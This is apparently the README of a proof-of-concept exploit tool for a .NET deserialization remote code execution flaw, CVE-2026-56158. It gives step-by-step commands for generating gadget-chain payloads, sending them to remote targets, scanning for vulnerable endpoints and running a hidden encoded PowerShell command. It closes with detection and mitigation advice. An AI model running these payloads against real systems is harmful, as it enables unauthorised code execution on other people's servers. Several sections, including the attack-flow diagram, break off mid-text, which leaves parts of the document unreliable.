## https://sploitus.com/exploit?id=C70098EC-8455-5303-80B5-BD82E10260AE
# CVE-2026-56158 — .NET Framework Remote Code Execution (RCE) PoC Exploit
> **Critical (CVSS 9.8)** — Deserialization of Untrusted Data (CWE-502) in Microsoft .NET Framework & .NET Runtime
> Patched: **July 14, 2026** | Attributed to: **Positive Technologies** (PT-2026-60174)
---
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Attack Vectors](#attack-vectors)
- [Exploit Architecture](#exploit-architecture)
- [File Structure](#file-structure)
- [Installation](#installation)
- [Step-by-Step Usage](#step-by-step-usage)
- [Testing](#testing)
- [Detection & Hardening](#detection--hardening)
- [Mitigation](#mitigation)
- [References](#references)
- [Disclaimer](#disclaimer)
- [License](#license)
---
## Overview
**CVE-2026-56158** is a critical remote code execution vulnerability in Microsoft .NET Framework and .NET runtime. The flaw exists in the unsafe deserialization of untrusted data (CWE-502) — when a .NET application uses legacy serializers (`BinaryFormatter`, `NetDataContractSerializer`, `SoapFormatter`, `ObjectStateFormatter`) or Json.NET with `TypeNameHandling.All/Auto`, an unauthenticated remote attacker can deliver a crafted serialized payload that triggers arbitrary code execution upon deserialization.
The vulnerability carries a **CVSS 3.1 base score of 9.8 Critical** with the vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`, meaning:
- **Attack Vector**: Network (no physical access needed)
- **Attack Complexity**: Low
- **Privileges Required**: None
- **User Interaction**: None
- **Impact**: Complete compromise of Confidentiality, Integrity, and Availability
Microsoft released security updates on **July 14, 2026** as part of the monthly Patch Tuesday cycle.
---
## Vulnerability Details
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-56158 |
| **Title** | .NET Framework Remote Code Execution Vulnerability |
| **CVSS 3.1** | 9.8 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) |
| **CVSS 2.0** | 7.5 High (`AV:N/AC:L/Au:N/C:P/I:P/A:P`) |
| **CWE** | CWE-502 (Deserialization of Untrusted Data) |
| **Published** | July 14, 2026 |
| **Patched** | July 14, 2026 |
| **Discoverer** | Positive Technologies (PT-2026-60174) |
| **EPSS** | Not scored yet |
| **CISA KEV** | Not listed |
### Root Cause
The .NET runtime's legacy serializers reconstruct arbitrary object types from serialized streams without validating the type or content. When an attacker controls the serialized input, they can direct the deserializer to instantiate unexpected types whose constructors, callbacks, or property setters execute arbitrary code — a classic deserialization gadget chain attack.
The vulnerability affects multiple serialization mechanisms:
1. **BinaryFormatter** — Binary stream with type metadata; `TypeConfuseDelegate` gadget chain delegates to `Process.Start`
2. **NetDataContractSerializer** — XML format that includes .NET type information; allows direct type instantiation
3. **SoapFormatter** — SOAP XML envelope with CLR type references; `ProcessStartInfo` embedded in SOAP body
4. **ObjectStateFormatter** — ASP.NET ViewState binary format; `Process.Start` via ViewState field
5. **Json.NET (Newtonsoft.Json)** — JSON with `$type` metadata when `TypeNameHandling.All/Auto` is enabled; `ObjectDataProvider` gadget calls `Process.Start`
---
## Affected Versions
| Product | Vulnerable Range | Fixed Version | KB Article |
|---------|-----------------|---------------|------------|
| .NET 8.0 | 8.0.0 – 8.0.28 | **8.0.29** | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | **9.0.18** | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | **10.0.10** | KB5101001 |
| .NET Framework 3.5 | All pre-patch | Patched | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | All pre-patch | Patched | KB5100991 |
| .NET Framework 4.8 | All pre-patch | Patched | KB5101011 |
| .NET Framework 4.8.1 | All pre-patch | Patched | KB5101002 |
| Visual Studio 2022 (17.12) | Pre-patch | 17.12.x | — |
| Visual Studio 2022 (17.14) | Pre-patch | 17.14.x | — |
| Visual Studio 2026 (18.7) | Pre-patch | 18.7.x | — |
**Alpine Linux packages:**
- `dotnet8-runtime` (json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
```
- **Format**: JSON with `$type` metadata
- **Content-Type**: `application/json`
- **Delivery**: REST API endpoint with `TypeNameHandling.All` or `Auto`
---
## Exploit Architecture
```
┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
```
### Attack Flow
```
Attacker ────POST /api/deserialize──────▶ Target (.NET B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
end
```
---
## File Structure
```
CVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
```
---
## Installation
### Prerequisites
- **Python 3.8+** (stdlib only — no external dependencies)
- Target: .NET application using unsafe deserialization (for real-world use)
- No .NET installation required for testing (mock server included)
### Clone
```bash
git clone git@github.com:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
```
---
## Step-by-Step Usage
### Step 1: Generate Payloads
Generate all 5 payload formats with the default command (`calc.exe`):
```bash
python3 exploit.py
```
Output:
```
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
```
Generate with a custom command:
```bash
python3 exploit.py -c "powershell.exe -nop -w hidden -enc "
```
### Step 2: Test Locally with Mock Server
Start the built-in mock vulnerable .NET server and deliver all payloads:
```bash
python3 exploit.py --listen
```
This will:
1. Start a mock HTTP server simulating a vulnerable .NET endpoint
2. Generate all 5 payload formats
3. Deliver each payload to the mock server
4. Verify RCE was triggered (deserialization → code execution)
5. Generate a JSON exploitation report
Expected output:
```
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
```
Custom port:
```bash
python3 exploit.py --listen --port 8080
```
### Step 3: Save Payload to File
Save a specific payload format to a file for manual delivery:
```bash
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
```
### Step 4: Deliver to Remote Target
Deliver all payloads to a remote .NET target:
```bash
python3 exploit.py -u http://target:8080 -c "calc.exe"
```
With SSL certificate bypass:
```bash
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
```
### Step 5: Scan a Target for Vulnerability Indicators
Scan a target for .NET version, deserialization endpoints, and ViewState issues:
```bash
python3 exploit.py -u http://target:8080 --scan
```
This checks:
- HTTP response headers for .NET version indicators (`X-AspNet-Version`, `X-Powered-By`)
- Common deserialization endpoint paths (`/api/deserialize`, `/Service.svc`, etc.)
- ASP.NET ViewState protection status (MAC validation, encryption)
### Step 6: Generate Exploitation Report
Generate a JSON report with full exploitation details:
```bash
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
```
The report includes:
- CVE metadata (ID, CVSS, CWE, vector)
- Payload details (format, size, SHA-256 hash)
- Delivery results (HTTP status, response)
- Scan findings
- RCE confirmation status
- References
---
## Testing
### Unit Tests (74 tests)
```bash
python3 test_exploit.py
```
Tests cover:
- Payload generation for all 5 formats
- Custom command injection
- Base64 encoding
- Payload delivery (HTTP, SOAP, JSON, file)
- Vulnerability scanner (version detection, endpoint discovery)
- Mock listener (RCE confirmation, format detection)
- Report generation (JSON output, file creation)
- Payload integrity (deterministic generation)
- Edge cases (empty commands, complex arguments)
### End-to-End Tests (37 tests)
```bash
python3 e2e_test.py
```
Tests cover:
- Full exploit chain: generate → deliver → verify RCE
- All 5 payload formats delivered to mock server
- RCE confirmation across multiple formats
- File-based payload delivery
- Vulnerability scanner integration
- Exploitation report generation and validation
### Test Results
```
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
```
---
## Detection & Hardening
Run the detection checker to identify vulnerable .NET installations:
```bash
python3 detect.py
```
Scan source code for unsafe deserialization patterns:
```bash
python3 detect.py /path/to/source/code
```
The detector checks for:
- Installed .NET runtime versions (via `dotnet --list-runtimes`)
- .NET Framework registry entries (Windows)
- Source code patterns: `BinaryFormatter.Deserialize`, `NetDataContractSerializer.ReadObject`, `SoapFormatter.Deserialize`, `ObjectStateFormatter.Deserialize`, `TypeNameHandling.All/Auto`, `LosFormatter.Deserialize`
---
## Mitigation
1. **Update .NET runtime** to patched versions (8.0.29+, 9.0.18+, 10.0.10+)
2. **Update .NET Framework** via Windows Update (KB5100985/KB5100991/KB5101011)
3. **Replace `BinaryFormatter`** with `System.Text.Json` or `DataContractSerializer` with strict type binding
4. **Implement `SerializationBinder`** allow-lists when legacy serializers are required
5. **Set AppContext switch**: `Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false`
6. **For ASP.NET ViewState**: enable `ViewStateMac` and `ViewStateEncryption`
7. **For Json.NET**: avoid `TypeNameHandling.All/Auto`; use `TypeNameHandling.None`
8. **Block `SoapFormatter`** and `NetDataContractSerializer` for untrusted input
9. **Apply WDAC/AppLocker** policies to restrict process spawning from .NET applications
10. **Monitor** for unexpected child processes from `dotnet.exe`, `devenv.exe`, or custom .NET host processes
---
## References
- [NVD — CVE-2026-56158](https://nvd.nist.gov/vuln/detail/CVE-2026-56158)
- [Tenable — CVE-2026-56158](https://www.tenable.com/cve/CVE-2026-56158)
- [Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263](https://security.snyk.io/vuln/SNYK-ALPINE324-DOTNET8RUNTIME-18025263)
- [Microsoft — July 2026 Cumulative Update](https://learn.microsoft.com/en-us/dotnet/framework/release-notes/2026/07-14-july-cumulative-update)
- [MSRC — CVE-2026-56158](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56158)
- [Alpine Security Tracker — CVE-2026-56158](https://security.alpinelinux.org/vuln/CVE-2026-56158)
- [.NET 8.0.29 Release Notes](https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.29/8.0.29.md)
---
## Disclaimer
This proof-of-concept exploit is provided for **educational and authorized security testing purposes only**. Use this tool only against systems you own or have explicit written authorization to test. Unauthorized use against systems you do not own is illegal and may violate computer fraud and abuse laws.
The authors and contributors are not responsible for any misuse or damage caused by this software.
---
## License
MIT License — see [LICENSE](LICENSE) file for details.